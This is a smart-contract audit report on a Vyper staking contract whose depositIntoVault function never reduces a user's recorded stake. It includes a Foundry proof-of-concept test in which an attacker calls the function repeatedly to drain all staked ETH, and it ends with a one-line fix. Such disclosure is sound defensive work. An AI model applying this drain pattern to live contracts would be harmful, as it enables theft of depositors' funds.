Summary
Since the usersToStakes is not adjusted when the user calls Steaking::depositIntoVault, with little stake, an attacker can drain the protocol completely and she can continue to do that if other users continue to stake in the protocol even in the future.
Vulnerability Details
As far as the attacker's usersToStakes balance is not zero and there are staked ETH in the protocol, if the attacker calls Steaking::depositIntoVault repeatedly, she can drain the protocol of all the ETH staked in it. thereby claiming all the sharesReceived which she will use to call ERC4626::withdraw on the vault and withdraw all user's funds.
This exploit is possible because the usersToStakes is not adjusted accordingly when users call Steaking::depositIntoVault function, hence a user can continue to deposit into vault repeatedly and claim shares until she drains all the staked ETH available in the protocol.
PoC
foundry test for the vulnerability
function test_StealAllStakedEthFromProtocol() public {
for(uint i; i < 5; ++i){
address user = makeAddr(Strings.toString(i));
_stake(user, 1 ether, user);
}
address attacker = makeAddr("attacker");
_startVaultDepositPhase(attacker, 1 ether, attacker);
vm.startPrank(attacker);
for(uint256 i = 0; i < 6; ++i) {
steaking.depositIntoVault();
}
uint256 attackerVaultShares = wethSteakVault.balanceOf(attacker);
wethSteakVault.withdraw(attackerVaultShares, address(attacker), address(attacker));
vm.stopPrank();
uint256 userSteakBalance = steaking.usersToStakes(attacker);
uint256 attackerWethBalAfterExploit = weth.balanceOf(attacker);
assertEq(userSteakBalance, 1 ether);
assertEq(attackerWethBalAfterExploit, 6 ether);
}
Impact
Tools Used
manual review
foundry test
Recommendations
@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
+ self.usersToStakes[msg.sender] -= stakedAmount
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived